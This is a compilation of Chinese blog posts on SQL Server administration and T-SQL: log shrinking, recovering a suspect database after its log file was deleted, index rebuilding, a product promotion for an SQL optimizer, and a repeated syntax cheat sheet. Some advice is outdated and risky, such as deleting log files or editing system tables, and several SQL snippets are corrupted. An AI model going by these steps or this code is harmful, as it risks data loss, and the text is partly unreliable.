sql server

1.清空日志:DUMP TRANSACTION 库名 WITH NO_LOG
2.截断事务日志:BACKUP LOG 数据库名 WITH NO_LOG
3.收缩数据库文件(如果不压缩,数据库的文件不会减小) 
  --收缩数据库 DBCC SHRINKDATABASE(database_name)
  --收缩指定数据文件,1是文件号,可以通过这个语句查询到:
    select * from sysfiles DBCC SHRINKFILE(1)
4.为了最大化的缩小日志文件(如果是sql 7.0,这步只能在查询分析器中进行)
  a.分离数据库
  b.在我的电脑中删除LOG文件
  c.附加数据库.此法将生成新的LOG,大小只有500多K
    (用代码:下面的示例分离 pubs,然后将 pubs 中的一个文件附加到当前服务器。
     a.分离 EXEC sp_detach_db @dbname = 'pubs'
     b.删除日志文件
     c.再附加 EXEC sp_attach_single_file_db
              @dbname = 'pubs',
       @physname = 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf')
5.为了以后能自动收缩,设置:企业管理器--服务器--右键数据库--属性--选项--选择"自动收缩"
  --SQL语句设置方式: EXEC sp_dboption '数据库名', 'autoshrink', 'TRUE'
6.如果想以后不让它日志增长得太大:企业管理器--服务器--右键数据库--属性--事务日志 --将文      件增长限制为xM(x是你允许的最大数据文件大小)
  --SQL语句的设置方式: alter database 数据库名 modify file(name=逻辑文件名,maxsize=20)


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=654569

数据库日志文件的误删或别的原因引起数据库日志的损坏
  方法一

  1.新建一个同名的数据库

  2.再停掉sql server(注意不要分离数据库)

  3.用原数据库的数据文件覆盖掉这个新建的数据库

  4.再重启sql server

  5.此时打开企业管理器时会出现置疑,先不管,执行下面的语句(注意修改其中的数据库名)

  6.完成后一般就可以访问数据库中的数据了,这时,数据库本身一般还要问题,解决办法是,利用

  数据库的脚本创建一个新的数据库,并将数据导进去就行了.

  USE MASTER

  GO

  SP_CONFIGURE 'ALLOW UPDATES',1 RECONFIGURE WITH OVERRIDE

  GO

  UPDATE SYSDATABASES SET STATUS =32768 WHERE NAME='置疑的数据库名'

  Go

  sp_dboption '置疑的数据库名', 'single user', 'true'

  Go

  DBCC CHECKDB('置疑的数据库名')

  Go

  update sysdatabases set status =28 where name='置疑的数据库名'

  Go

  sp_configure 'allow updates', 0 reconfigure with override

  Go

  sp_dboption '置疑的数据库名', 'single user', 'false'

  Go

  方法二

  事情的起因

  昨天,系统管理员告诉我,我们一个内部应用数据库所在的磁盘空间不足了。我注意到数据库事件日志文件XXX_Data.ldf文件已经增长到了3GB,于是我决意缩小这个日志文件。经过收缩数据库等操作未果后,我犯了一个自进入行业以来的最大最愚蠢的错误:竟然误删除了这个日志文件!后来我看到所有论及数据库恢复的文章上都说道:“无论如何都要保证数据库日志文件存在,它至关重要”,甚至微软甚至有一篇KB文章讲如何只靠日志文件恢复数据库的。我真是不知道我那时候是怎么想的?!

  这下子坏了!这个数据库连不上了,企业管理器在它的旁边写着“(置疑)”。而且最要命的,这个数据库从来没有备份了。我唯一找得到的是迁移半年前的另外一个数据库服务器,应用倒是能用了,但是少了许多记录、表和存储过程。真希望这只是一场噩梦!

  没有效果的恢复步骤

  附加数据库

  _Rambo讲过被删除日志文件中不存在活动日志时,可以这么做来恢复:

  1,分离被置疑的数据库,可以使用sp_detach_db

  2,附加数据库,可以使用sp_attach_single_file_db

  但是,很遗憾,执行之后,SQL Server质疑数据文件和日志文件不符,所以无法附加数据库数据文件。

  DTS数据导出

  不行,无法读取XXX数据库,DTS Wizard报告说“初始化上下文发生错误”。

  紧急模式

  怡红公子讲过没有日志用于恢复时,可以这么做:

  1,把数据库设置为emergency mode

  2,重新建立一个log文件

  3,把SQL Server 重新启动一下

  4,把应用数据库设置成单用户模式

  5,做DBCC CHECKDB

  6,如果没有什么大问题就可以把数据库状态改回去了,记得别忘了把系统表的修改选项关掉

  我实践了一下,把应用数据库的数据文件移走,重新建立一个同名的数据库XXX,然后停掉SQL服务,把原来的数据文件再覆盖回来。之后,按照怡红公子的步骤走。

  但是,也很遗憾,除了第2步之外,其他步骤执行非常成功。可惜,重启SQL Server之后,这个应用数据库仍然是置疑!

  不过,让我欣慰的是,这么做之后,倒是能够Select数据了,让我大出一口气。只不过,组件使用数据库时,报告说:“发生错误:-2147467259,未能在数据库 'XXX' 中运行 BEGIN TRANSACTION,因为该数据库处于回避恢复模式。”

  最终成功恢复的全部步骤

  设置数据库为紧急模式

  停掉SQL Server服务;

  把应用数据库的数据文件XXX_Data.mdf移走;

  重新建立一个同名的数据库XXX;

  停掉SQL服务;

  把原来的数据文件再覆盖回来;

  运行以下语句,把该数据库设置为紧急模式;

  运行“Use Master

  Go

  sp_configure 'allow updates', 1

  reconfigure with override

  Go”

  执行结果:

  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。

  已将配置选项 'allow updates' 从 0 改为 1。请运行 RECONFIGURE 语句以安装。

  接着运行“update sysdatabases set status = 32768 where name = 'XXX'”

  执行结果:

  (所影响的行数为 1 行)

  重启SQL Server服务;

  运行以下语句,把应用数据库设置为Single User模式;

  运行“sp_dboption 'XXX', 'single user', 'true'”

  执行结果:

  命令已成功完成。

  ü 做DBCC CHECKDB;

  运行“DBCC CHECKDB('XXX')”

  执行结果:

  'XXX' 的 DBCC 结果。

  'sysobjects' 的 DBCC 结果。

  对象 'sysobjects' 有 273 行,这些行位于 5 页中。

  'sysindexes' 的 DBCC 结果。

  对象 'sysindexes' 有 202 行,这些行位于 7 页中。

  'syscolumns' 的 DBCC 结果。

  ………

  ü 运行以下语句把系统表的修改选项关掉;

  运行“sp_resetstatus "XXX"

  go

  sp_configure 'allow updates', 0

  reconfigure with override

  Go”

  执行结果:

  在 sysdatabases 中更新数据库 'XXX' 的条目之前,模式 = 0,状态 = 28(状态 suspect_bit = 0),

  没有更新 sysdatabases 中的任何行,因为已正确地重置了模式和状态。没有错误,未进行任何更改。

  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。

  已将配置选项 'allow updates' 从 1 改为 0。请运行 RECONFIGURE 语句以安装。

  重新建立另外一个数据库XXX.Lost;

  DTS导出向导

  运行DTS导出向导;

  复制源选择EmergencyMode的数据库XXX,导入到XXX.Lost;

  选择“在SQL Server数据库之间复制对象和数据”,试了多次,好像不行,只是复制过来了所有表结构,但是没有数据,也没有视图和存储过程,而且DTS向导最后报告复制失败;

  所以最后选择“从源数据库复制表和视图”,但是后来发现,这样总是只能复制一部分表记录;

  于是选择“用一条查询指定要传输的数据”,缺哪个表记录,就导哪个;

  视图和存储过程是执行SQL语句添加的。

  维护Sql Server中表的索引

  在使用和创建数据库索引中经常会碰到一些问题,在这里可以采用一些另类的方法解决…

  --第一步:查看是否需要维护,查看扫描密度/Scan Density是否为100%

  declare @table_id int

  set @table_id=object_id('表名')

  dbcc showcontig(@table_id)

  --第二步:重构表索引

  dbcc dbreindex('表名',pk_索引名,100)

  --重做第一步,如发现扫描密度/Scan Density还是小于100%则重构表的所有索引

  --并不一定能达100%。

  dbcc dbreindex('表名','',100)

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=654300
SQL语句的优化是将性能低下的SQL语句转换成目的相同的性能优异的SQL语句。

  人工智能自动SQL优化就是使用人工智能技术,自动对SQL语句进行重写,从而找到性能最好的等效SQL语句。

  数据库性能的优化

 
  一个数据库系统的生命周期可以分成:设计、开发和成品三个阶段。在设计阶段进行数据库性能优化的成本最低,收益最大。在成品阶段进行数据库性能优化的成本最高,收益最小。

  数据库的优化通常可以通过对网络、硬件、操作系统、数据库参数和应用程序的优化来进行。最常见的优化手段就是对硬件的升级。根据统计,对网络、硬件、操作系统、数据库参数进行优化所获得的性能提升,全部加起来只占数据库系统性能提升的40%左右,其余的60%系统性能提升来自对应用程序的优化。许多优化专家认为,对应用程序的优化可以得到80%的系统性能的提升。

  应用程序的优化

  应用程序的优化通常可分为两个方面:源代码和SQL语句。由于涉及到对程序逻辑的改变,源代码的优化在时间成本和风险上代价很高,而对数据库系统性能的提升收效有限。

  为什么要优化SQL语句

  . SQL语句是对数据库进行操作的惟一途径,对数据库系统的性能起着决定性的作用。

  . SQL语句消耗了70%至90%的数据库资源。

  . SQL语句独立于程序设计逻辑,对SQL语句进行优化不会影响程序逻辑。

  . SQL语句有不同的写法,在性能上的差异非常大。

  . SQL语句易学,但难精通。

  优化SQL语句的传统方法是通过手工重写来对SQL语句进行优化。DBA或资深程序员通过对SQL语句执行计划的分析,依靠经验,尝试重写SQL语句,然后对结果和性能进行比较,以试图找到性能较佳的SQL语句。这种传统上的作法无法找出SQL语句的所有可能写法,且依赖于人的经验,非常耗费时间。

  SQL优化技术的发展历程

  第一代SQL优化工具是执行计划分析工具。这类工具针对输入的SQL语句,从数据库提取执行计划,并解释执行计划中关键字的含义。

  第二代SQL优化工具只能提供增加索引的建议,它通过对输入的SQL语句的执行计划的分析,来产生是否要增加索引的建议。

  第三代SQL优化工具不仅分析输入SQL语句的执行计划,还对输入的SQL语句本身进行语法分析,经过分析产生写法上的改进建议。

  人工智能自动SQL优化


图1 人工智能自动SQL优化示意图

  人工智能自动SQL优化出现在90年代末。目前在商用数据库领域,LECCO Technology Limited(灵高科研有限公司)拥有该技术,并提供使用该技术的自动优化产品LECCO SQL Expert,它支持Oracle、Sybase、MS SQL Server和IBM DB2数据库平台。该产品针对数据库应用的开发和维护阶段提供的模块有:SQL语法优化器、PL/SQL集成化开发调试环境(IDE)、扫描器、数据库监视器等。其核心模块SQL 语法优化器的工作原理为:①输入一条源SQL语句;②“人工智能反馈式搜索引擎”对输入的SQL语句,结合检测到的数据库结构和索引进行重写,产生N条等效的SQL语句输出;③产生的N条等效SQL语句再送入“人工智能反馈式搜索引擎”进行重写,直至无法产生新的输出或搜索限额满;④对输出的SQL语句进行过滤,选出具有不同执行计划的SQL语句;⑤对得到的SQL语句进行批量测试,找出性能最好的SQL语句。

  LECCO SQL Expert自动优化实例

  假设我们从源代码中抽取出这条SQL语句(也可以通过内带的扫描器或监视器获得SQL语句):

  SELECT COUNT(*)

   FROM EMPLOYEE

  swheresEXISTS (SELECT 'X'

   FROM DEPARTMENT

  swheresEMP_DEPT=DPT_ID

   AND DPT_NAME LIKE 'AC%')

  AND EMP_ID IN (SELECT SAL_EMP_ID

   FROM EMP_SAL_HIST B

  swheresSAL_SALARY > 70000)

  按下“优化”按钮后,经过10几秒,SQL Expert就完成了优化的过程,并在这10几秒的时间里重写产生了2267 条等价的SQL语句,其中136条SQL语句有不同的执行计划。

  接下来,我们可以对自动重写产生的136条SQL语句进行批运行测试,以选出性能最佳的等效SQL语句。按下“批运行” 按钮,在“终止条件” 页选择“最佳运行时间SQL语句”,按“确定”。

  经过几分钟的测试运行后,我们可以发现SQL124的运行时间和反应时间最短。运行速度约有22.75倍的提升(源SQL语句运行时间为2.73秒,SQL124运行时间为0.12秒)。现在我们就可以把SQL124放入源代码中,结束一条SQL语句的优化工作了。

  “边做边学式训练”提升SQL开发水平

  LECCO SQL Expert不仅能够找到最佳的SQL语句,它所提供的“边做边学式训练”还能够教开发人员和数据库管理员如何写出性能最好的SQL语句。LECCO SQL Expert的“SQL比较器”可以标明源SQL和待选SQL间的不同之处。

  以上面优化的结果为例,为了查看源SQL语句和SQL124在写法上有什么不同,我们可以按下“比较器” 按钮,对SQL124和源SQL语句进行比较。“SQL 比较器”将SQL124相对于源SQL语句的不同之处以蓝颜色表示了出来。如果选择“双向比较”复选框,“SQL 比较器”可以将两条SQL语句的不同之处以蓝色表示。当然,我们也可以从源语句和重写后的SQL 语句中任选两条进行比较。

  从比较的结果可以看到,重写后的SQL124把第一个Exists改写成了In;在字段DPT_ID上进行了合并空字符串的操作,以诱导数据库先执行子查询中的

  (SELECT DPT_ID||''

  FROM DEPARTMENT

  WHERE DPT_NAME LIKE 'AC%')

  在子查询完成后,再与EMPLOYEE表进行嵌套循环连接(Nested Loop Join)。

  如果觉得对写法的改变难以理解,还可以点中“执行计划”复选框,通过比较两条SQL语句的执行计划的不同,来了解其中的差异。在查看执行计划过程中,如果有什么不明白的地方,可以点中“SQL信息按钮”,再点击执行计划看不明白的地方,LECCO SQL Expert的上下文敏感帮助系统将提供执行计划该处的解释。

  在“SQL比较器”中,选中“统计信息”复选框后,可得到详细的两条SQL语句运行时的统计信息比较,这对于学习不同的SQL写法对数据库资源的消耗很有帮助。

  LECCO SQL Expert优化模块的特点

  LECCO SQL Expert优化模块的特点主要表现为:自动优化SQL语句;以独家的人工智能知识库“反馈式搜索引擎”来重写性能优异的SQL语句;找出所有等效的SQL语句及可能的执行计划;保证产生相同的结果;先进的SQL语法分析器能处理最复杂的SQL语句;可以重写SELECT、SELECT INTO、UPDATE、INSERT和DELETE语句;通过测试运行,为应用程序和数据库自动找到性能最好的SQL语句;提供微秒级的计时,能够优化Web应用程序和有大量用户的在线事务处理中运行时间很短的SQL语句;为开发人员提供“边做边学式训练”,迅速提高开发人员的SQL编程技能;提供上下文敏感的执行计划帮助系统和SQL运行状态帮助;不是猜测或建议,而是独一无二的SQL重写解决方案。

  写出专家级的SQL语句

  LECCO SQL Expert的出现,使SQL的优化变得极其简单,只要能够写出SQL语句,它就能帮用户找到最好性能的写法。LECCO SQL Expert不仅能在很短的时间内找到所有可能的优化方案,而且能够通过实际测试,确定最有效的优化方案。同以往的数据库优化手段相比较,LECCO SQL Expert将数据库优化技术带到了一个崭新的技术高度,依赖人的经验、耗费大量时间、受人的思维束缚的数据库优化手段已经被高效、省时且准确的自动优化软件所取代了。通过内建的“LECCO小助手”的帮助,即使是SQL的开发新手,也能快速且简单地写出专家级的SQL语句。

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=652551
EmsNo        CopGNo         ExgVersion      

E57705000004 DSHC0741           60                                 
E57705000003 DSHC0741           50 
E57705000002 DSHC0741           36
E57705000001 DSHC0742           65                                        
E57705000000 DSHC0742           75  
需要的结果:
EmsNo        CopGNo         ExgVersion      
 
E57705000004 DSHC0741           60                                  
E57705000000 DSHC0742           75  
既 CopGNO中每个产品的最大ExgVersion给取出来。

SELECT T.EMSNO,E.COPGNO,E.EXGVERSION ,T.begindate,t.enddate
FROM emsexgversion T ,(SELECT copgno,MAX(ExgVersion) as exgversion from emsexgversion group by copgno) E
WHERE T.COPGNO=E.COPGNO AND T.EXGVERSION=E.EXGVERSION
ORDER BY E.COPGNO

select a.* from emsexgversion a
where not exists(select 1 from emsexgversion where CopGNo=a.CopGNo and ExgVersion>a.ExgVersion)

select 1 from ...
通常存在于exists中.
也可以写做
select 2 from ...
或者任何常数.

因为exists只是判断为不为null来返回true或者false
通常的写法还有
select count(1) from ...
其实等同于
select count(*) from ...
或者
select count(主键) from ...
这样的SQL

根据主键及索引的建立方式,速度上有细小的差别.

而-1 = -1这样的表达式是永远返回true的.
就像 1 = 2是永远返回false一样.

我们通常copy表结构就经常用
create table newtable as
select * from oldtable where 1 = 2;

-1 = -1一般是写在条件不确定的用字符串拼出来的动态SQL中.
比方说:
我的where后面可能有5个条件,也可能一个也没有.
这时我会这样写
".... where 1 = 1"+str1+str2+...; -- 其中的str1,str2等有可能是空字符串.
*******************Transact_SQL********************

--语 句                                功 能
--数据操作
SELECT      --从数据库表中检索数据行和列
INSERT      --向数据库表添加新数据行
DELETE      --从数据库表中删除数据行
UPDATE      --更新数据库表中的数据
--数据定义
CREATE TABLE    --创建一个数据库表
DROP TABLE     --从数据库中删除表
ALTER TABLE     --修改数据库表结构
CREATE VIEW     --创建一个视图
DROP VIEW     --从数据库中删除视图
CREATE INDEX    --为数据库表创建一个索引
DROP INDEX     --从数据库中删除索引
CREATE PROCEDURE   --创建一个存储过程
DROP PROCEDURE    --从数据库中删除存储过程
CREATE TRIGGER    --创建一个触发器
DROP TRIGGER    --从数据库中删除触发器
CREATE SCHEMA    --向数据库添加一个新模式
DROP SCHEMA     --从数据库中删除一个模式
CREATE DOMAIN    --创建一个数据值域
ALTER DOMAIN    --改变域定义
DROP DOMAIN     --从数据库中删除一个域
--数据控制
GRANT      --授予用户访问权限
DENY      --拒绝用户访问
REVOKE      --解除用户访问权限
--事务控制
COMMIT      --结束当前事务
ROLLBACK     --中止当前事务
SET TRANSACTION    --定义当前事务数据访问特征
--程序化SQL
DECLARE      --为查询设定游标
EXPLAN      --为查询描述数据访问计划
OPEN      --检索查询结果打开一个游标
FETCH      --检索一行查询结果
CLOSE      --关闭游标
PREPARE      --为动态执行准备SQL 语句
EXECUTE      --动态地执行SQL 语句
DESCRIBE     --描述准备好的查询

---局部变量
declare @id char(10)
--set @id = '10010001'
select @id = '10010001'

---全局变量
---必须以@@开头

--IF ELSE
declare @x int @y int @z int
select @x = 1 @y = 2 @z=3
if @x > @y
 print 'x > y' --打印字符串'x > y'
else if @y > @z
 print 'y > z'
else print 'z > y'

--CASE
use pangu
update employee
set e_wage =
 case
  when job_level = ’1’ then e_wage*1.08
  when job_level = ’2’ then e_wage*1.07
  when job_level = ’3’ then e_wage*1.06
  else e_wage*1.05
 end

--WHILE CONTINUE BREAK
declare @x int @y int @c int
select @x = 1 @y=1
while @x < 3
 begin
  print @x --打印变量x 的值
  while @y < 3
   begin
    select @c = 100*@x + @y
    print @c --打印变量c 的值
    select @y = @y + 1
   end
  select @x = @x + 1
  select @y = 1
 end

--WAITFOR
--例 等待1 小时2 分零3 秒后才执行SELECT 语句
waitfor delay ’01:02:03’
select * from employee
--例 等到晚上11 点零8 分后才执行SELECT 语句
waitfor time ’23:08:00’
select * from employee

 

***SELECT***

   select *(列名) from table_name(表名) where column_name operator value
   ex:(宿主)
  select * from stock_information where stockid   = str(nid)
     stockname = 'str_name'
     stockname like '% find this %'
     stockname like '[a-zA-Z]%' --------- ([]指定值的范围)
     stockname like '[^F-M]%'   --------- (^排除指定范围)
     --------- 只能在使用like关键字的where子句中使用通配符)
     or stockpath = 'stock_path'
     or stocknumber < 1000
     and stockindex = 24
     not stocksex = 'man'
     stocknumber between 20 and 100
     stocknumber in(10,20,30)
     order by stockid desc(asc) --------- 排序,desc-降序,asc-升序
     order by 1,2 --------- by列号
     stockname = (select stockname from stock_information  where stockid  = 4)
     --------- 子查询
     --------- 除非能确保内层select只返回一个行的值,
     --------- 否则应在外层where子句中用一个in限定符
  select distinct column_name form table_name --------- distinct指定检索独有的列值,不重复
  select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name
  select stockname , "stocknumber" = count(*) from table_name group by stockname
                                      --------- group by 将表按行分组,指定列中有相同的值
          having count(*) = 2  ---------  having选定指定的组
       
  select *
  from table1, table2                 
  where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有得以null表示
     table1.id =* table2.id -------- 右外部连接

  select stockname from table1
  union [all]  -----  union合并查询结果集,all-保留重复行
  select stockname from table2

***insert***

  insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")
              value (select Stockname , Stocknumber from Stock_table2)---value为select语句

***update***

  update table_name set Stockname = "xxx" [where Stockid = 3]
         Stockname = default
         Stockname = null
         Stocknumber = Stockname + 4

***delete***

  delete from table_name where Stockid = 3
  truncate table_name ----------- 删除表中所有行,仍保持表的完整性
  drop table table_name --------------- 完全删除表

***alter table*** --- 修改数据库表结构

  alter table database.owner.table_name add column_name char(2) null .....
  sp_help table_name ---- 显示表已有特征
  create table table_name (name char(20), age smallint, lname varchar(30))
  insert into table_name select ......... ----- 实现删除列的方法(创建新表)
  alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束
   
***function(/*常用函数*/)***

----统计函数----
AVG    --求平均值
COUNT   --统计数目
MAX    --求最大值
MIN    --求最小值
SUM    --求和

--AVG
use pangu
select avg(e_wage) as dept_avgWage
from employee
group by dept_id

--MAX
--求工资最高的员工姓名
use pangu
select e_name
from employee
where e_wage =
 (select max(e_wage)
  from employee)

--STDEV()
--STDEV()函数返回表达式中所有数据的标准差

--STDEVP()
--STDEVP()函数返回总体标准差

--VAR()
--VAR()函数返回表达式中所有值的统计变异数

--VARP()
--VARP()函数返回总体变异数

----算术函数----

/***三角函数***/
SIN(float_expression) --返回以弧度表示的角的正弦
COS(float_expression) --返回以弧度表示的角的余弦
TAN(float_expression) --返回以弧度表示的角的正切
COT(float_expression) --返回以弧度表示的角的余切
/***反三角函数***/
ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角
ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角
ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角
ATAN2(float_expression1,float_expression2)
        --返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
DEGREES(numeric_expression)
                       --把弧度转换为角度返回与表达式相同的数据类型可为
        --INTEGER/MONEY/REAL/FLOAT 类型
RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为
        --INTEGER/MONEY/REAL/FLOAT 类型
EXP(float_expression)  --返回表达式的指数值
LOG(float_expression)  --返回表达式的自然对数值
LOG10(float_expression)--返回表达式的以10 为底的对数值
SQRT(float_expression) --返回表达式的平方根
/***取近似值函数***/
CEILING(numeric_expression)  --返回>=表达式的最小整数返回的数据类型与表达式相同可为
        --INTEGER/MONEY/REAL/FLOAT 类型
FLOOR(numeric_expression)    --返回<=表达式的最小整数返回的数据类型与表达式相同可为
        --INTEGER/MONEY/REAL/FLOAT 类型
ROUND(numeric_expression)    --返回以integer_expression 为精度的四舍五入值返回的数据
        --类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
ABS(numeric_expression)      --返回表达式的绝对值返回的数据类型与表达式相同可为
        --INTEGER/MONEY/REAL/FLOAT 类型
SIGN(numeric_expression)     --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
        --与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
PI()       --返回值为π 即3.1415926535897936
RAND([integer_expression])   --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数


----字符串函数----
ASCII()         --函数返回字符表达式最左端字符的ASCII 码值
CHAR()   --函数用于将ASCII 码转换为字符
    --如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
LOWER()   --函数把字符串全部转换为小写
UPPER()   --函数把字符串全部转换为大写
STR()   --函数把数值型数据转换为字符型数据
LTRIM()   --函数把字符串头部的空格去掉
RTRIM()   --函数把字符串尾部的空格去掉
LEFT(),RIGHT(),SUBSTRING()  --函数返回部分字符串
CHARINDEX(),PATINDEX()  --函数返回字符串中某个指定的子串出现的开始位置
SOUNDEX()  --函数返回一个四位字符码
    --SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值    
DIFFERENCE()    --函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
    --0 两个SOUNDEX 函数返回值的第一个字符不同
    --1 两个SOUNDEX 函数返回值的第一个字符相同
    --2 两个SOUNDEX 函数返回值的第一二个字符相同
    --3 两个SOUNDEX 函数返回值的第一二三个字符相同
    --4 两个SOUNDEX 函数返回值完全相同
                                      

QUOTENAME()  --函数返回被特定字符括起来的字符串
/*select quotename('abc', '{') quotename('abc')
运行结果如下
----------------------------------{
{abc} [abc]*/

REPLICATE()     --函数返回一个重复character_expression 指定次数的字符串
/*select replicate('abc', 3) replicate( 'abc', -2)
运行结果如下
----------- -----------
abcabcabc NULL*/

REVERSE()       --函数将指定的字符串的字符排列顺序颠倒
REPLACE()       --函数返回被替换了指定子串的字符串
/*select replace('abc123g', '123', 'def')
运行结果如下
----------- -----------
abcdefg*/

SPACE()   --函数返回一个有指定长度的空白字符串
STUFF()   --函数用另一子串替换字符串指定位置长度的子串


----数据类型转换函数----
CAST() 函数语法如下
CAST() (<expression> AS <data_ type>[ length ])
CONVERT() 函数语法如下
CONVERT() (<data_ type>[ length ], <expression> [, style])

select cast(100+99 as char) convert(varchar(12), getdate())
运行结果如下
------------------------------ ------------
199   Jan 15 2000

----日期函数----
DAY()   --函数返回date_expression 中的日期值
MONTH()   --函数返回date_expression 中的月份值
YEAR()   --函数返回date_expression 中的年份值
DATEADD(<datepart> ,<number> ,<date>)
    --函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
DATEDIFF(<datepart> ,<number> ,<date>)
    --函数返回两个指定日期在datepart 方面的不同之处
DATENAME(<datepart> , <date>)  --函数以字符串的形式返回日期的指定部分
DATEPART(<datepart> , <date>)  --函数以整数值的形式返回日期的指定部分
GETDATE()  --函数以DATETIME 的缺省格式返回系统当前的日期和时间

----系统函数----
APP_NAME()      --函数返回当前执行的应用程序的名称
COALESCE()  --函数返回众多表达式中第一个非NULL 表达式的值
COL_LENGTH(<'table_name'>, <'column_name'>) --函数返回表中指定字段的长度值
COL_NAME(<table_id>, <column_id>)   --函数返回表中指定字段的名称即列名
DATALENGTH() --函数返回数据表达式的数据的实际长度
DB_ID(['database_name']) --函数返回数据库的编号
DB_NAME(database_id)  --函数返回数据库的名称
HOST_ID()     --函数返回服务器端计算机的名称
HOST_NAME()     --函数返回服务器端计算机的名称
IDENTITY(<data_type>[, seed increment]) [AS column_name])
 --IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中
/*select identity(int, 1, 1) as column_name
 into newtable
 from oldtable*/
ISDATE()  --函数判断所给定的表达式是否为合理日期
ISNULL(<check_expression>, <replacement_value>) --函数将表达式中的NULL 值用指定值替换
ISNUMERIC()  --函数判断所给定的表达式是否为合理的数值
NEWID()   --函数返回一个UNIQUEIDENTIFIER 类型的数值
NULLIF(<expression1>, <expression2>)
 --NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=642227
Transact SQL  语 句 功 能
========================================================================

  --数据操作

   SELECT --从数据库表中检索数据行和列
      INSERT --向数据库表添加新数据行
      DELETE --从数据库表中删除数据行
      UPDATE --更新数据库表中的数据

  --数据定义

   CREATE TABLE --创建一个数据库表
      DROP TABLE --从数据库中删除表
      ALTER TABLE --修改数据库表结构
      CREATE VIEW --创建一个视图
      DROP VIEW --从数据库中删除视图
      CREATE INDEX --为数据库表创建一个索引
      DROP INDEX --从数据库中删除索引
      CREATE PROCEDURE --创建一个存储过程
      DROP PROCEDURE --从数据库中删除存储过程
      CREATE TRIGGER --创建一个触发器
      DROP TRIGGER --从数据库中删除触发器
      CREATE SCHEMA --向数据库添加一个新模式
      DROP SCHEMA --从数据库中删除一个模式
      CREATE DOMAIN --创建一个数据值域
      ALTER DOMAIN --改变域定义
      DROP DOMAIN --从数据库中删除一个域

  --数据控制

   GRANT --授予用户访问权限
      DENY --拒绝用户访问
      REVOKE --解除用户访问权限

  --事务控制

   COMMIT --结束当前事务
      ROLLBACK --中止当前事务
      SET TRANSACTION --定义当前事务数据访问特征

  --程序化SQL

   DECLARE --为查询设定游标
      EXPLAN --为查询描述数据访问计划
      OPEN --检索查询结果打开一个游标
      FETCH --检索一行查询结果
      CLOSE --关闭游标
      PREPARE --为动态执行准备SQL 语句
      EXECUTE --动态地执行SQL 语句
      DESCRIBE --描述准备好的查询  

  ---局部变量

   declare @id char(10)
      --set @id = '10010001'
      select @id = '10010001'  

  ---全局变量

  ---必须以@@开头  

  --IF ELSE

  declare @x int @y int @z int
      select @x = 1 @y = 2 @z=3
      if @x > @y
       print 'x > y' --打印字符串'x > y'
      else if @y > @z
       print 'y > z'
      else print 'z > y'
      --CASE
      use pangu
      update employee
      set e_wage =
       case
       when job_level = ’1’ then e_wage*1.08
       when job_level = ’2’ then e_wage*1.07
       when job_level = ’3’ then e_wage*1.06
       else e_wage*1.05
       end
      --WHILE CONTINUE BREAK
      declare @x int @y int @c int
      select @x = 1 @y=1
      while @x < 3
       begin
       print @x --打印变量x 的值
       while @y < 3
       begin
       select @c = 100*@x + @y
       print @c --打印变量c 的值
       select @y = @y + 1
       end
       select @x = @x + 1
       select @y = 1
       end
      --WAITFOR

  --例 等待1 小时2 分零3 秒后才执行SELECT 语句

  waitfor delay ’01:02:03’
      select * from employee

    --例 等到晚上11 点零8 分后才执行SELECT 语句

    waitfor time ’23:08:00’


SELECT  

   select *(列名) from table_name(表名) where column_name operator value ex宿主)
     select * from stock_information where stockid = str(nid)
     stockname = 'str_name'
     stockname like '% find this %'
     stockname like '[a-zA-Z]%' --------- ([]指定值的范围)
     stockname like '[^F-M]%' --------- (^排除指定范围)
     --------- 只能在使用like关键字的where子句中使用通配符)
     or stockpath = 'stock_path'
     or stocknumber < 1000
     and stockindex = 24
     not stocksex = 'man'
     stocknumber between 20 and 100
     stocknumber in(10,20,30)
     order by stockid desc(asc) --------- 排序,desc-降序,asc-升序
     order by 1,2 --------- by列号
     stockname = (select stockname from stock_information where stockid = 4)
     --------- 子查询
     --------- 除非能确保内层select只返回一个行的值
     --------- 否则应在外层where子句中用一个in限定符
     select distinct column_name form table_name
   --------- distinct指定检索独有的列值,不重复
     select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name
     select stockname , "stocknumber" = count(*) from table_name group by stockname
     --------- group by 将表按行分组,指定列中有相同的值
     having count(*) = 2 --------- having选定指定的组

   select *
     from table1, table2
where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有得以null表示
     table1.id =* table2.id -------- 右外部连接
     select stockname from table1
     union [all] -------- union合并查询结果集,all-保留重复行
     select stockname from table2 

   insert 

   insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx"
   value (select Stockname , Stocknumber from Stock_table2)
   -------value为select语句  

   update  

   update table_name set Stockname = "xxx" [where Stockid = 3]
   Stockname = default
   Stockname = null
   Stocknumber = Stockname + 4  

   delete  

   delete from table_name where Stockid = 3
   truncate table_name --------- 删除表中所有行,仍保持表的完整性
   drop table table_name --------- 完全删除表 

   alter table -------- 修改数据库表结构  

   alter table database.owner.table_name add column_name char(2) null ..
   sp_help table_name -------- 显示表已有特征
   create table table_name (name char(20), age smallint, lname varchar(30))
